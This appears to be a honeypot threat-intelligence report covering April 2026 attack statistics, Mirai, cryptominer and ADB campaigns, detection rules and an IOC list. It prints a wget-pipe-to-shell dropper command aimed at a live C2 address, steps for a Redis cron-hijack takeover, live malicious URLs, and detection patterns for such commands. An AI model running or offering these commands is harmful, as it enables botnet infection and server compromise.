T-Pot Multi-Sensor (Sydney).

# T-Pot Combined Threat Report - NadSec Sydney - 2026-04: A Comprehensive Threat Intelligence Analysis of Honeypot Infrastructure

**Key Points:**
*   **Massive Volume of Automated Activity:** The NadSec T-Pot honeypot infrastructure in Sydney logged 134,028 original indicators in April 2026, recording a staggering 77,154,007 total attacks [cite: 1].
*   **Cloud Infrastructure Abuse is Ubiquitous:** Major cloud providers, notably DigitalOcean, LLC and Amazon.com, Inc., continue to be the primary launchpads for automated scanning, brute-forcing, and payload delivery [cite: 2, 3].
*   **Mirai and IoT Botnets Remain Persistent:** Analysis of dropped payloads indicates a heavy reliance on Mirai-variant architectures (e.g., "Boatnet"), utilizing cross-architecture "shotgun" delivery methods [cite: 4, 5].
*   **Cryptojacking via Misconfigured Services:** Attackers are actively exploiting unauthenticated Redis instances (Port 6379) and exposed Android Debug Bridge (ADB) interfaces (Port 5555) to deploy CoinMiner variants such as Trinity [cite: 1, 6, 7].
*   **Significant "Noise" from Research Scanners:** A large portion of the scanning traffic originates from legitimate or semi-legitimate internet survey projects, such as the Shadowserver Foundation and the CIRCL Network Telescope [cite: 8, 9].

**Introduction**
The threat landscape of 2026 continues to be defined by rapid automation, the commoditization of cybercrime, and the persistent exploitation of edge infrastructure. This report provides a detailed, comprehensive threat intelligence analysis based on data collected by the NadSec T-Pot honeypot infrastructure located in Sydney, Australia, during April 2026. By deploying a diverse array of sensors—including Suricata for intrusion detection, Cowrie for SSH/Telnet emulation, Dionaea for malware capture, ADBHoney for Android device emulation, and Redis honeypots—the NadSec infrastructure provides a high-fidelity vantage point into the tactics, techniques, and procedures (TTPs) of contemporary threat actors. 

This analysis synthesizes raw event data, enriched STIX 2.1 indicators, and extensive external threat intelligence research to deconstruct the campaigns targeting internet-facing assets. The evidence leans toward an ecosystem where initial access is entirely automated, leveraging known vulnerabilities and weak credentials to assemble sprawling botnets dedicated to Distributed Denial of Service (DDoS) extortion and illicit cryptocurrency mining. 

**Scope and Limitations**
The findings in this report represent the entirety of the 134,028 indicators logged across 104,914 unique IP addresses in the observed month. A smart sample of 800 highly active indicators (647 IPs, 128 hashes, 25 URLs) was subjected to deep behavioral and attributional analysis. While honeypot data offers invaluable insights into scanning and exploitation trends, it is inherently biased toward automated threats. Highly targeted, advanced persistent threat (APT) activity may be underrepresented, as APTs often employ sophisticated evasion techniques to bypass known honeypot signatures. Nevertheless, the volume and nature of the data provide a statistically robust snapshot of the background radiation of the internet.

---

## 1. Statistical Overview and Demographic Analysis

The aggregate statistics derived from the full dataset reveal the underlying topography of internet-borne attacks. Understanding the geographic, infrastructural, and protocol-level distribution of these attacks is crucial for prioritizing defensive engineering efforts.

### 1.1 Geographic Distribution of Attack Origins

Geographic attribution relies on the registration data of the IP addresses initiating the attacks. While this does not necessarily indicate the physical location of the human adversary—who typically routes traffic through compromised proxies, virtual private networks (VPNs), or bulletproof hosting providers—it accurately reflects the physical location of the compromised or leased infrastructure executing the attacks.

**Table 1: Top 15 Attack Origin Countries (By Indicator Count)**

| Rank | Country Code | Country Name | Original Indicator Count | Total Attack Volume Contribution |
| :--- | :--- | :--- | :--- | :--- |
| 1 | BR | Brazil | 57,763 | 13,593,277 |
| 2 | US | United States | 18,078 | 23,239,768 |
| 3 | TR | Türkiye | 15,534 | 6,624,917 |
| 4 | CN | China | 13,731 | 755,678 |
| 5 | GB | United Kingdom | 3,399 | 601,222 |
| 6 | AU | Australia | 2,492 | 6,647,635 |
| 7 | DE | Germany | 2,185 | 2,468,328 |
| 8 | UA | Ukraine | 1,976 | 823,315 |
| 9 | IN | India | 1,353 | 1,068,401 |
| 10 | SG | Singapore | 1,242 | 1,752,145 |
| 11 | FR | France | 1,115 | 4,053,544 |
| 12 | NL | Netherlands | 1,028 | 3,897,753 |
| 13 | HK | Hong Kong | 810 | (Included in CN/Other) |
| 14 | JP | Japan | 757 | (Included in Other) |
| 15 | PK | Pakistan | 746 | (Included in Other) |

**Analysis of Geographic Data:**
Brazil (BR) produced the highest absolute number of unique indicators (57,763), highlighting a massive footprint of compromised residential broadband and IoT devices participating in botnets. Conversely, the United States (US), despite having fewer unique IPs (18,078), generated the highest sheer volume of attacks (23,239,768 events). This discrepancy suggests that US-based infrastructure is heavily skewed toward high-bandwidth datacenter IPs (cloud abuse), which can sustain rapid, high-volume scanning and brute-forcing, whereas Brazilian traffic originates from a wider, highly distributed array of lower-bandwidth consumer nodes. 

### 1.2 Autonomous System Network (ASN) Infrastructure

The analysis of ASNs provides clarity on which hosting providers and ISPs are inadvertently—or intentionally—facilitating malicious activity. 

**Table 2: Top 10 Autonomous Systems by Attack Volume**

| Rank | ASN Organization | Event Volume | Primary Infrastructure Type |
| :--- | :--- | :--- | :--- |
| 1 | DigitalOcean, LLC | 18,720,232 | Cloud / VPS Hosting |
| 2 | Akamai Connected Cloud | 6,871,349 | Cloud / CDN |
| 3 | Servervia Bilisim Yazilim | 4,946,048 | Regional Hosting (TR) |
| 4 | GLOBAL CONECTA TELECOM | 4,617,284 | ISP / Telecom (BR) |
| 5 | Alsycon B.V. | 3,131,744 | Hosting / Datacenter (NL) |
| 6 | Namecheap, Inc. | 3,032,794 | Hosting / Domain Services |
| 7 | Contabo GmbH | 2,437,728 | VPS Hosting (DE) |
| 8 | DOMINA NET TELECOM | 1,510,047 | ISP / Telecom |
| 9 | OVH SAS | 1,433,095 | Cloud / Dedicated Hosting |
| 10 | BattleHost | 1,340,170 | Hosting |

**Analysis of ASN Data:**
The dominance of DigitalOcean [cite: 2, 10] and Akamai (formerly Linode) [cite: 1, 11] points to the ongoing phenomenon of "Cloud Abuse." Threat actors frequently utilize stolen credit cards or exploit free-tier trials to spin up high-performance Virtual Private Servers (VPS). These servers are immediately tasked with scanning the internet (e.g., using `masscan` or `ZMap`) to identify vulnerable edge devices. Alsycon B.V. and Contabo GmbH represent offshore or loosely regulated hosting providers that are historically popular among operators of Command and Control (C2) infrastructure and Bulletproof Hosting (BPH) affiliates. The presence of "GLOBAL CONECTA TELECOM" aligns with the geographic surge in Brazilian IoT botnet participation.

### 1.3 Targeted Ports and Protocols

Understanding the specific ports targeted by automated attacks reveals the primary software vulnerabilities threat actors are seeking to exploit.

**Table 3: Top Targeted Ports**

| Port | Service | Event Count | Primary Threat Vector |
| :--- | :--- | :--- | :--- |
| 443 | HTTPS / TLS | 78,673 | Web Application Exploitation, Vulnerability Scanning |
| 80 | HTTP | 18,187 | Web Application Exploitation, Dropper Retrieval |
| 23 | Telnet | 2,877 | IoT Botnet Brute-forcing (Mirai/Gafgyt) |
| 22 | SSH | 2,333 | Linux Server Brute-forcing, Credential Stuffing |
| 445 | SMB | 1,965 | Ransomware Propagation (WannaCry legacy, EternalBlue) |
| 8443 | HTTPS Alt | 1,840 | Management Interfaces (Plesk, Tomcat, Unifi) |
| 5900 | VNC | 1,809 | Remote Desktop Brute-forcing |
| 8080 | HTTP Alt | 723 | Unauthenticated Management APIs, Jenkins, Tomcat |
| 1433 | MS-SQL | 532 | Database Brute-forcing, Ransomware |
| 6379 | Redis | 314 | Unauthenticated Datastore Remote Code Execution |
| 5555 | ADB | 343 | Android Debug Bridge Cryptojacking |

**Analysis of Port Data:**
The overwhelmingly high targeting of port 443 (78,673 events) and port 80 (18,187 events) underscores that the majority of modern exploitation targets the application layer (Layer 7). Attackers are actively scanning for vulnerable Content Management Systems (CMS), exposed administrative panels, and unpatched enterprise software (e.g., Atlassian Confluence, Microsoft Exchange) [cite: 12]. 

Legacy protocols remain stubbornly prevalent. Telnet (Port 23) and SSH (Port 22) continue to be bombarded by credential stuffing attacks aimed at co-opting insecure IoT devices and misconfigured Linux servers into DDoS botnets. Notably, the targeted exploitation of Redis (6379) and ADB (5555) highlights a focused effort on deploying resource-intensive cryptominers onto high-compute database servers and mobile/smart-TV hardware, respectively [cite: 1, 6].

### 1.4 Sensor Engagement Distribution

The T-Pot framework aggregates data from multiple specialized honeypot daemons.

**Table 4: Top Sensor Engagements**

| Sensor | Purpose | Event Count |
| :--- | :--- | :--- |
| p0f | Passive OS Fingerprinting | 129,064 |
| honeytrap | Low-interaction TCP/UDP listener | 21,448 |
| suricata | Network Intrusion Detection System (NIDS) | 11,213 |
| fatt | Fingerprint ALL The Things (Network metadata) | 7,657 |
| cowrie | Medium-interaction SSH/Telnet | 3,481 |
| dionaea | Low-interaction malware capture | 2,691 |
| ciscoasa | Cisco ASA firewall emulator | 772 |
| adbhoney | Android Debug Bridge emulator | 356 |
| redishoneypot| Redis database emulator | 193 |

*Note: `p0f` and `fatt` observe all inbound packets across all ports, resulting in their disproportionately high event counts relative to service-specific emulators like `cowrie` or `redishoneypot`.*

---

## 2. Infrastructure Deep Dive

A critical component of threat intelligence is distinguishing between the various types of infrastructure interacting with the sensors. The IP addresses logged by T-Pot fall into several distinct categories: Bulletproof Hosting, Cloud Abuse, Residential Botnets, and Legitimate Research Scanners.

### 2.1 Cloud Abuse and Automated Exploitation

Major cloud providers offer frictionless provisioning of virtual machines, making them highly attractive to cybercriminals. Attackers routinely automate the creation of instances to perform scanning and brute-forcing before the provider's trust and safety teams can terminate the account.

*   **IP Address:** `172.105.186.117`
*   **Provider:** Akamai Connected Cloud (Linode) [cite: 11]
*   **Country:** Australia (AU)
*   **Activity Profile:** This IP exhibited highly aggressive behavior targeting the `redishoneypot` and `wordpot` (WordPress) sensors. Research indicates this node was actively executing the "Cloudzy Clown Fiesta" campaign methodology, firing rapid unauthenticated `AUTH` guesses against Redis instances and subsequently attempting to inject configuration commands to execute remote code [cite: 1]. It also sent malicious HTTP requests searching for Universal Plug and Play (UPnP) vulnerabilities (`/upnp/control/basicevent1`) [cite: 13]. This is a textbook example of an attacker leasing local infrastructure (an Australian Linode instance) to scan regional IP space with minimal latency.

### 2.2 The Challenge of Legitimate Research Scanners

A substantial volume of the traffic hitting internet-facing honeypots is benign, generated by academic institutions and security companies mapping the internet. Identifying and filtering this "noise" is vital for preventing alert fatigue in Security Operations Centers (SOCs).

*   **IP Address:** `138.197.101.95`
*   **Provider:** DigitalOcean, LLC [cite: 2, 10]
*   **Country:** United States (US)
*   **Activity Profile:** This IP interacted with almost every sensor on the honeypot across numerous ports (2374, 3306, 10443, 15450). Threat intelligence correlation confirms that this IP belongs to `research-scanner.com`, specifically utilized by the CIRCL Network Telescope [cite: 8]. While technically "unauthorized" by the honeypot owner, this scanning is benign and intended for global vulnerability mapping.
*   **IP Address:** `184.105.139.68`
*   **Provider:** Hurricane Electric LLC [cite: 9, 14]
*   **Country:** United States (US)
*   **Activity Profile:** This IP reverse-resolves to `scan-02.shadowserver.org` [cite: 15, 16]. The Shadowserver Foundation is a reputable non-profit that conducts non-intrusive internet scans to help network owners identify exposed systems [cite: 9]. Despite triggering 39,082 reports on AbuseIPDB [cite: 17], this IP represents legitimate cybersecurity research.
*   **IP Address:** `16.58.56.214`
*   **Provider:** Amazon.com, Inc. (AWS) [cite: 3, 18]
*   **Country:** United States (US)
*   **Activity Profile:** This IP resolves to `scan.visionheight.com` [cite: 18] and was observed broadly scanning for vulnerabilities, including specific checks for Palo Alto GlobalProtect endpoints [cite: 19]. It triggered the Cowrie and Dionaea honeypots on legacy ports (587, 1433). This represents "promiscuous" corporate scanning—commercial entities cataloging internet vulnerabilities for proprietary threat intelligence feeds.

### 2.3 Command and Control (C2) and Payload Hosting

C2 servers act as the central nervous system for botnets and malware campaigns. Taking down these servers disrupts the adversary's operations.

*   **IP Address:** `196.251.107.133`
*   **Provider:** Unknown / Offshore BPH
*   **Country:** Unknown
*   **Activity Profile:** This IP is definitively malicious. It functions as a payload delivery server for a Mirai botnet variant. Analysis of URL indicators shows this server hosting a dropper script (`http://196.251.107.133/bins/sin.sh`) and cross-architecture binaries (e.g., `px86`, `pmpsl`) [cite: 4, 20, 21]. When a vulnerable IoT device is compromised, it is directed to download and execute these payloads from this IP.
*   **IP Address:** `2.26.98.67`
*   **Provider:** Unknown Broadband/Hosting (Scarborough, UK) [cite: 22]
*   **Country:** United Kingdom (GB)
*   **Activity Profile:** Similar to the above, this UK-based IP hosts malicious binaries under the directory `/hiddenbin/`. Threat intelligence confirms it distributes the "Boatnet" malware—a known Mirai derivative—targeting architectures such as `m68k`, `i686`, and `arm` [cite: 5, 23, 24]. The use of a UK IP for payload hosting suggests the attacker compromised a residential or small-business server to act as a covert distribution node.

### 2.4 Suspicious Scanning Networks

*   **IP Address:** `87.121.79.160`
*   **Provider:** Neterra Ltd [cite: 25]
*   **Country:** Bulgaria (BG) / Netherlands (NL) routing [cite: 26]
*   **Activity Profile:** This IP was recorded attempting HTTP GET requests and interacting with the `cowrie` honeypot via the payload URL `http://87.121.79.160/all.sh` [cite: 27]. This indicates the scanner acts simultaneously as the infection vector and the initial payload host. 

---

## 3. Malware Analysis and Reverse Engineering

The `cowrie`, `dionaea`, and `adbhoney` sensors successfully captured numerous malicious artifacts. Analyzing the cryptographic hashes of these files reveals the specific malware families circulating in the wild.

### 3.1 The Ubiquity of the Mirai Botnet

Mirai, originally discovered in 2016, revolutionized the IoT threat landscape by establishing a highly efficient framework for scanning, brute-forcing, and co-opting embedded devices (routers, DVRs, IP cameras) into massive DDoS cannons. The source code was subsequently leaked, resulting in countless variants.

**Payload Delivery Vector (The "Shotgun" Approach)**
The most common initial payload dropped on a compromised system is a shell script, frequently named `sin.sh`, `all.sh`, or `bin.sh`. The attack chain follows a precise sequence [cite: 4]:
1.  **Initial Access:** The attacker brute-forces SSH/Telnet credentials using default lists (e.g., `root:root`, `admin:admin`).
2.  **Dropper Execution:** The attacker executes a fileless download command, typically: 
    `wget -qO- http://196.251.107.133/bins/sin.sh | sh &`
3.  **Environment Preparation:** The `sin.sh` script executes. It immediately modifies system limits (`ulimit -n 999999`) to allow the botnet to open vast numbers of network sockets for subsequent scanning [cite: 4].
4.  **Shotgun Download:** Because the attacker does not know the exact CPU architecture of the victim device, the script iterates through multiple binaries compiled for different architectures (ARM, MIPS, x86, PowerPC) and attempts to download and execute all of them [cite: 4]. 

**Analyzed Artifacts:**
*   **URL:** `http://2.26.98.67/hiddenbin/boatnet.m68k` [cite: 5]
*   **URL:** `http://196.251.107.133/bins/pmpsl` (SHA256: `5f320c2c06b5cf0d494f311cdf118e294868d0181560104c02d6f05eef1e9e3b`) [cite: 21]
*   **URL:** `http://196.251.107.133/bins/px86` (SHA256: `7a71a50005dfa90d36e25147c9ee7718e9f650f1af14bc08a1a71e59df3b61b2`) [cite: 20]

These files are confirmed by vendors as `SH/Mirai.C.gen!Camelot` and generic Linux Trojan Downloader classifications [cite: 4]. The "Boatnet" variant observed on `2.26.98.67` represents an evolved offshoot of the Mirai source, optimized for persistence and rapid spread [cite: 5, 23].

### 3.2 Cryptojacking: The Rise of ELF CoinMiners

While DDoS extortion is lucrative, cryptojacking (the illicit mining of cryptocurrencies like Monero using stolen CPU cycles) offers a guaranteed, passive income stream. Threat actors heavily target Linux servers and cloud infrastructure due to their robust processing power.

**Analyzed Artifacts:**
*   **Hash:** `e948036f1c3b3024a6864fa1c49332c80e1fd28484cf487233a50154ffe104f8`
    *   **File Details:** ELF 64-bit LSB executable, x86-64. Size: 128.00 kB.
    *   **Verdict:** High Risk / ELF Coinminer [cite: 28].
    *   **Analysis:** This binary was dropped via Cowrie. It does not utilize packing mechanisms, making its strings highly visible [cite: 29]. Vendor intelligence (e.g., FileScan.IO, Malprob) confidently categorizes this as a Monero (XMR) cryptominer [cite: 28, 30]. It stealthily consumes CPU resources and communicates with offshore mining pools over stratum+tcp protocols.

*   **Hash:** `3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f`
    *   **File Details:** ARM7 Executable.
    *   **Verdict:** Cryptomining Malware [cite: 31, 32].
    *   **Analysis:** Captured on the honeypot, this file modifies system directories using `sudo` to establish persistence [cite: 31]. The compilation for ARM7 indicates that attackers are expanding cryptojacking operations beyond traditional x86 cloud servers to target edge devices, routers, and single-board computers (like Raspberry Pis).

*   **Hash:** `59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5`
    *   **File Details:** Captured within a zip archive (`59c29436755b.zip`).
    *   **Verdict:** ELF CoinMiner [cite: 33, 34].
    *   **Analysis:** This 1.79 MB binary utilizes compression to evade basic perimeter network filtering. Once extracted on the host, it executes the mining algorithm.

### 3.3 Mobile Exploitation: ADB and the Trinity Malware

The Android Debug Bridge (ADB), which operates over port 5555, is a developer protocol designed to allow unrestricted access to Android devices (smartphones, Smart TVs, Android TV boxes). Shockingly, many manufacturers ship consumer devices with ADB enabled and exposed to the public internet by default, lacking any authentication mechanisms.

**Analyzed Artifact:**
*   **Hash:** `0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257`
    *   **File Name:** `ufo.apk`
    *   **Classification:** Android/HiddenMiner / Trinity / CoinMiner [cite: 6, 7, 35].
    *   **Analysis:** The `adbhoney` sensor recorded heavy scanning on port 5555. When a connection is established, the attacker uses the `adb push` command to upload the malicious `ufo.apk` file, followed by `adb shell am start` to execute the application silently in the background [cite: 6, 7]. 
    *   **Behavior:** The Trinity malware acts as a Peer-to-Peer (P2P) botnet that mines cryptocurrencies (such as ByteCoin or Electroneum) utilizing algorithms like CryptoNight, which are feasible on ARM CPUs [cite: 6]. The malware removes system notifications to hide its presence from the device owner while running the battery and CPU to extreme temperatures [cite: 6, 35].

### 3.4 Threat Intelligence Anomalies and False Positives

When processing 134,028 indicators, distinguishing true threats from systemic artifacts is vital to maintain intelligence fidelity.

*   **Hash:** `01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b`
    *   **Observation:** Logged repeatedly by the `cowrie` sensor.
    *   **Analysis:** Despite appearing in honeypot logs as a "Dropped File," this hash actually represents an empty file or a one-byte line break (0x0a) [cite: 36, 37]. Threat actors frequently use simple `echo` commands to test write permissions in a directory before attempting to download a larger payload. Many automated threat intelligence feeds incorrectly flag this hash as malicious, but it is definitively a false positive artifact of standard Unix shell operations [cite: 37].

---

## 4. Advanced Campaign Analysis

By correlating the distinct IOCs and TTPs observed in the data, we can define three major malicious campaigns targeting the T-Pot infrastructure.

### 4.1 Campaign Alpha: Unauthenticated Redis Remote Code Execution

**Target:** Port 6379 (Redis)
**Primary Actor TTPs:**
Redis is an in-memory data structure store designed for speed within secure, internal networks. It does not enforce authentication by default. When misconfigured administrators expose Port 6379 to the public internet, attackers capitalize on this oversight.

The methodology, colloquially tracked as the "Cloudzy Clown Fiesta" or the Kinsing botnet pipeline, relies entirely on native Redis commands to achieve Remote Code Execution (RCE) [cite: 1].
1.  **Connection:** The attacker connects to the socket: `telnet 172.105.186.117 6379`.
2.  **Clear Data:** They issue a `FLUSHALL` command to clear existing data, ensuring their payload fits in memory [cite: 1].
3.  **Cron Hijacking:** Using the `CONFIG SET dir` command, the attacker changes the Redis working directory to the Linux cron spool (e.g., `/etc/cron.d/` or `/var/spool/cron/`) [cite: 1].
4.  **Payload Injection:** The attacker alters the database dump filename (`CONFIG SET dbfilename root`) and writes a string containing a bash script invocation into memory [cite: 1]. 
5.  **Execution:** Finally, the `SAVE` command writes the memory to disk. The OS cron daemon reads the file and executes the malicious bash script as the `root` user, resulting in full system compromise.

**Objectives:** Typically, this access is used to install rootkits (modifying `/root/.ssh/authorized_keys`), alter `iptables` to lock out competing hackers, and deploy heavy CPU cryptominers [cite: 1].

### 4.2 Campaign Beta: The IoT "Shotgun" Botnet Expansion

**Target:** Ports 23 (Telnet), 22 (SSH), 80/443 (HTTP/S)
**Primary Actor TTPs:**
This campaign represents the continuous background radiation of the internet—the endless search for vulnerable edge devices to integrate into Mirai derivatives like Boatnet. 
1.  **Reconnaissance:** High-speed asynchronous scanning (`masscan`) targets wide IP ranges seeking open Telnet/SSH ports.
2.  **Credential Stuffing:** Custom scripts attempt to authenticate using hardcoded dictionaries of default factory credentials (e.g., specific to Dahua cameras, MikroTik routers).
3.  **Exploitation:** Upon successful login, the aforementioned "shotgun" shell script (`sin.sh`) is downloaded from a C2 server (e.g., `196.251.107.133`) using built-in utilities like `wget` or `curl` [cite: 4].
4.  **Proliferation:** The script downloads architecture-specific ELF binaries (`px86`, `pmpsl`, `arm7`) to ensure compatibility regardless of the victim's hardware [cite: 4, 20, 21]. The malware runs in memory, deletes the binaries from disk to avoid forensics, and begins attacking other hosts.

### 4.3 Campaign Gamma: Android Smart Device Cryptojacking

**Target:** Port 5555 (ADB)
**Primary Actor TTPs:**
As the IoT landscape broadens, attackers have realized that Android TV boxes, smart TVs, and developmental smartphones represent untapped reservoirs of computing power.
1.  **Port Scanning:** Searching for the exposed Android Debug Bridge service.
2.  **Unauthenticated Access:** Connecting directly to the device shell without requiring a PIN or RSA key exchange.
3.  **Sideloading:** Using `adb push` to install malicious `.apk` packages, notably the Trinity/HiddenMiner malware (`ufo.apk`) [cite: 6, 7].
4.  **Monetization:** The malware silently mines CryptoNight-based currencies (Monero, ByteCoin), often causing severe physical hardware damage due to sustained high CPU temperatures and battery bloat [cite: 6].

---

## 5. MITRE ATT&CK Framework Mapping

To standardize the defense against these threats, the observed behaviors have been mapped to the MITRE ATT&CK Framework for Enterprise and Mobile.

**Table 5: MITRE ATT&CK Mapping of Observed Campaigns**

| Tactic | Technique Code | Technique Name | Observation Context from Honeypot Data |
| :--- | :--- | :--- | :--- |
| **Reconnaissance** | T1595.001 | Active Scanning: Scanning IP Blocks | Massive volume of SYN packets to 443, 80, 22, 23 logged by `p0f` and `suricata`. |
| **Initial Access** | T1190 | Exploit Public-Facing Application | Automated UPnP and HTTP vulnerability scanning against `wordpot` and `nginx` [cite: 13]. |
| **Initial Access** | T1078.001 | Valid Accounts: Default Accounts | Mirai credential stuffing on Telnet/SSH (`cowrie` sensor) [cite: 4]. |
| **Execution** | T1059.004 | Command and Scripting Interpreter: Unix Shell | Execution of `sin.sh`, `all.sh` droppers to establish malware presence [cite: 4]. |
| **Persistence** | T1053.003 | Scheduled Task/Job: Cron | Redis `CONFIG SET` exploit writing malicious jobs to `/etc/cron.d/root` [cite: 1]. |
| **Persistence** | T1098.004 | Account Manipulation: SSH Authorized Keys | Post-exploitation addition of attacker SSH keys for persistent backdoor access [cite: 1]. |
| **Defense Evasion** | T1070.004 | Indicator Removal on Host: File Deletion | Execution of `wget -qO- <URL> \| sh` to run malware entirely in memory without disk artifacts [cite: 4]. |
| **Discovery** | T1082 | System Information Discovery | Malware determining system architecture to download the correct binary (`px86`, `mips`) [cite: 4]. |
| **Command and Control** | T1105 | Ingress Tool Transfer | Utilizing `curl` and `wget` to pull payloads from C2 IPs (`196.251.107.133`) [cite: 4]. |
| **Impact** | T1496 | Resource Hijacking | Execution of CoinMiner ELF binaries and Trinity `.apk` to illicitly mine cryptocurrency [cite: 6, 28]. |
| **Impact** | T1498 | Network Denial of Service | Integration of devices into the Boatnet/Mirai botnet for subsequent DDoS attacks [cite: 5]. |

---

## 6. Detection and Mitigation Engineering

Based on the intelligence gathered, organizations must implement robust detection and mitigation strategies at both the network and host levels. 

### 6.1 Network Level Mitigation

The most effective mitigation against the vast majority of attacks recorded by T-Pot is fundamental network segmentation and firewalling.
*   **Default Deny Egress:** The Mirai "shotgun" attack relies entirely on the compromised host reaching out to the internet (e.g., `196.251.107.133`) to download its secondary payload [cite: 4]. Implementing strict egress filtering—allowing servers to initiate outbound connections only to required, whitelisted IP addresses and ports—neutralizes the attack chain instantly.
*   **Ingress Filtering:** Management interfaces (SSH, Telnet, VNC, RDP) and internal databases (Redis 6379, MS-SQL 1433) must *never* be exposed to the public internet [cite: 1]. Access must be restricted behind a VPN, a zero-trust network access (ZTNA) proxy, or strict IP whitelisting.

### 6.2 Suricata / Snort IDS Signatures

To detect the anomalous traffic patterns observed in the dataset, security engineers should deploy specific IDS rules.

**Detecting Redis Unauthenticated RCE Attempts:**
```snort
alert tcp $EXTERNAL_NET any -> $HOME_NET 6379 (msg:"ET EXPLOIT Possible Redis Unauthenticated RCE via Cron Hijacking"; flow:established,to_server; content:"CONFIG"; nocase; content:"SET"; nocase; distance:1; content:"dir"; nocase; distance:1; content:"/etc/cron.d"; nocase; distance:1; classtype:attempted-admin; sid:1000001; rev:1;)
```

**Detecting Mirai Dropper Retrieval:**
```snort
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET MALWARE Mirai Variant Shell Script Retrieval (sin.sh)"; flow:established,to_server; content:"GET"; http_method; content:"/bins/sin.sh"; http_uri; classtype:trojan-activity; sid:1000002; rev:1;)
```

**Detecting ADB Internet Exposure:**
```snort
alert tcp $EXTERNAL_NET any -> $HOME_NET 5555 (msg:"ET POLICY Android Debug Bridge (ADB) Connection Attempt"; flow:established,to_server; content:"CNXN"; depth:4; classtype:policy-violation; sid:1000003; rev:1;)
```

### 6.3 Host-Level Detection (SIEM / Splunk SPL)

Host-based logging, specifically monitoring for anomalous command-line executions, is vital for catching fileless malware and unauthorized configuration changes.

**Detecting Wget/Curl piped to Shell (Fileless Execution) [cite: 4]:**
```splunk
index=linux_audit sourcetype=linux_secure eventtype=execve 
| search command IN ("*wget * | sh*", "*wget * | bash*", "*curl * | sh*", "*curl * | bash*")
| table _time, host, user, command
| head 10
```

**Detecting Suspicious Cron Modifications:**
```splunk
index=linux_audit sourcetype=linux_secure eventtype=execve
| search command IN ("*echo * > /var/spool/cron/*", "*echo * > /etc/cron.d/*", "*chattr +i /etc/cron.d/*")
| table _time, host, user, command
```

**Mitigation Recommendations for Hosts:**
*   **Disable Password Authentication:** Brute-force attacks against SSH (port 22) are entirely mitigated by configuring `sshd_config` to `PasswordAuthentication no` and enforcing cryptographic key-based authentication (RSA/Ed25519) [cite: 4].
*   **Directory Permissions:** Mount temporary execution spaces (`/tmp`, `/var/tmp`, `/dev/shm`) with the `noexec` flag in `/etc/fstab`. This prevents attackers from executing downloaded binaries (like `px86` or `pmpsl`) directly from world-writable directories [cite: 4].

---

## 7. Conclusion

The data captured by the NadSec T-Pot honeypot infrastructure in April 2026 confirms that the internet remains a highly hostile environment characterized by relentless, automated adversarial activity. The sheer volume of 77 million attacks generated by 104,000 IPs illustrates that "security through obscurity" is functionally obsolete; any internet-connected device is discovered and targeted within minutes.

Cybercriminals are optimizing their supply chains, utilizing compromised Cloud/VPS infrastructure to orchestrate highly efficient scanning arrays. Their methodologies have shifted from simple disruption to consistent monetization, evidenced by the heavy deployment of CoinMiner and Trinity payloads targeting exposed Redis databases and Android devices. Furthermore, the persistent evolution of the Mirai framework into robust botnets like "Boatnet" highlights the ongoing failure of the IoT industry to secure edge devices.

Defending against this automated onslaught requires a paradigm shift away from reactive remediation and toward proactive structural security. Organizations must implement default-deny egress policies, completely eliminate public exposure of administrative interfaces, enforce immutable authentication, and strictly control host execution environments. Furthermore, threat intelligence analysts must carefully curate their telemetry, successfully filtering out the heavy "noise" generated by legitimate academic scanners (e.g., Shadowserver) to focus analytical resources on genuine Command and Control infrastructure. Only through disciplined implementation of these fundamental controls can organizations withstand the background radiation of the modern internet.

---

## 8. IOC Appendix

This appendix details the highest priority Indicators of Compromise extracted from the dataset for ingestion into Firewalls, Endpoint Detection and Response (EDR) agents, and Threat Intelligence Platforms (TIPs).

### 8.1 Critical IP Infrastructure

| IP Address | Associated Infrastructure | Classification | Details |
| :--- | :--- | :--- | :--- |
| `196.251.107.133` | Unknown (Offshore) | **Malicious C2** | Hosts Mirai variants (`sin.sh`, `px86`, `pmpsl`). High priority block [cite: 4, 20, 21]. |
| `2.26.98.67` | UK Broadband / Hosting | **Malicious C2** | Hosts Boatnet binaries (`boatnet.m68k`). High priority block [cite: 5, 23]. |
| `172.105.186.117` | Linode / Akamai (AU) | **Malicious Scanner** | Redis unauthenticated RCE exploitation; UPnP vulnerability scanning [cite: 1, 11, 13]. |
| `87.121.79.160` | Neterra Ltd (BG) | **Malicious Scanner/Host** | Interacted with Cowrie, dropping `all.sh` [cite: 26, 27]. |
| `138.197.101.95` | DigitalOcean (US) | *Benign Scanner* | CIRCL Network Telescope (`research-scanner.com`). Whitelist recommended to reduce noise [cite: 8, 10]. |
| `184.105.139.68` | Hurricane Electric (US) | *Benign Scanner* | Shadowserver Foundation Bot. Whitelist recommended [cite: 9, 15]. |
| `16.58.56.214` | Amazon AWS (US) | *Benign Scanner* | Corporate Intelligence Scanner (`scan.visionheight.com`). Whitelist recommended [cite: 3, 18]. |

### 8.2 Verified Malicious Hashes

| SHA256 Hash | Verdict / Malware Family | Threat Context |
| :--- | :--- | :--- |
| `e948036f1c3b3024a6864fa1c49332c80e1fd28484cf487233a50154ffe104f8` | ELF CoinMiner | Linux Monero Cryptominer, 128kB, dynamically linked [cite: 28, 30]. |
| `0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257` | Android/Trinity | `ufo.apk` pushed via ADB port 5555; Android P2P cryptominer [cite: 6, 7, 35]. |
| `3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f` | CoinMiner (ARM7) | ELF cryptominer targeting IoT/edge devices; modifies root files [cite: 31, 32]. |
| `59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5` | ELF CoinMiner | Contained within `59c29436755b.zip` to evade perimeter detection [cite: 33, 34]. |
| `048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7` | CoinMiner | Generic Linux ELF Cryptominer [cite: 33, 38]. |

*Note: Hash `01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b` is excluded from the malicious blocklist as it represents a 1-byte false positive artifact common in shell script executions [cite: 36, 37].*

### 8.3 Weaponized URLs

*   `http://196.251.107.133/bins/sin.sh` (Mirai Dropper) [cite: 4]
*   `http://196.251.107.133/bins/pmpsl` (Mirai MIPS Payload) [cite: 21]
